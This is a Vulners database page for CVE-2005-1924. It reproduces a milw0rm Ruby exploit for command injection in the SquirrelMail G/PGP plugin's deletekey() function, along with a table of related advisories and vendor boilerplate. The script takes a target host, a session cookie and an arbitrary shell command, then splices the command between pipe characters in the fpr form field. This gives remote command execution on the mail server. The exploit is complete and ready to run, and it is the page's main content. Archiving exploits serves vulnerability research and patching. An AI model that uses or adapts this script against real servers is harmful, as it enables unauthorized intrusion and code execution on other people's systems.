SquirrelMail G/PGP Encryption Plugin - 'deletekey()' Command Injection
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| SquirrelMail G/PGP Encryption Plugin <= 2.1 Remote Command Execution | 12 Jul 200700:00 | – | nessus | |
| GLSA-200708-08 : SquirrelMail G/PGP plugin: Arbitrary code execution | 13 Aug 200700:00 | – | nessus | |
| CVE-2005-1924 | 15 Jul 200722:00 | – | cve | |
| CVE-2005-1924 | 15 Jul 200722:00 | – | cvelist | |
| SquirrelMail G/PGP Encryption Plugin 2.0 - Command Execution | 11 Jul 200700:00 | – | exploitdb | |
| EUVD-2005-1926 | 7 Oct 202500:30 | – | euvd | |
| SquirrelMail G/PGP plugin: Arbitrary code execution | 11 Aug 200700:00 | – | gentoo | |
| CVE-2005-1924 | 31 Dec 200505:00 | – | nvd | |
| Gentoo Security Advisory GLSA 200708-08 (squirrelmail) | 24 Sep 200800:00 | – | openvas | |
| Gentoo Security Advisory GLSA 200708-08 (squirrelmail) | 24 Sep 200800:00 | – | openvas |
10
#!/usr/local/bin/ruby
puts"http://backdoored.net\n"
puts "SquirrelMail G/PG deletekey() command injection exploit\n"
puts "http://backdoored.net Visit Us\n"
puts "Coded by Backdoored member. \n"
puts "--------------------------------------------------\n"
if ARGV[0] == nil && ARGV[1] == nil && ARGV[2] == nil && ARGV[3] == nil && ARGV[4] == nil && ARGV[5] == nil
puts "Usage: ./squ_xploit hostname path port cookie command 0\n"
puts "if host using ssl use 1 instead of 0\n"
exit
end
require 'net/http'
require 'net/https'
host = ARGV[0].to_s
port = ARGV[2].to_i
cookie = ARGV[3].to_s
victim = Net::HTTP.new(host,port)
if ARGV[3].to_i == 1
puts "Entering SSL mode baby\n"
victim.use_ssl = true
end
command = ARGV[4].to_s
#path = '/sq/plugins/gpg/modules/keyring_main.php'
path = ARGV[1].to_s
data = "id=C5B1611B8E71C***&fpr= | " + command + "| &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1"
pizza = "key=pYWrEbVTY%2Bc%3D; SQMSESSID=" + cookie;
headers = {
'Cookie' => pizza,
'Referer' => 'http://www.google.com',
'Content-Type' => 'application/x-www-form-urlencoded'
}
resp, data = victim.post(path,data,headers)
puts 'Message = ' + resp.message
puts 'Code = ' + resp.code
resp.each {|key,val| puts key + ' = ' + val}
#puts data
# milw0rm.com [2007-12-11]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.10263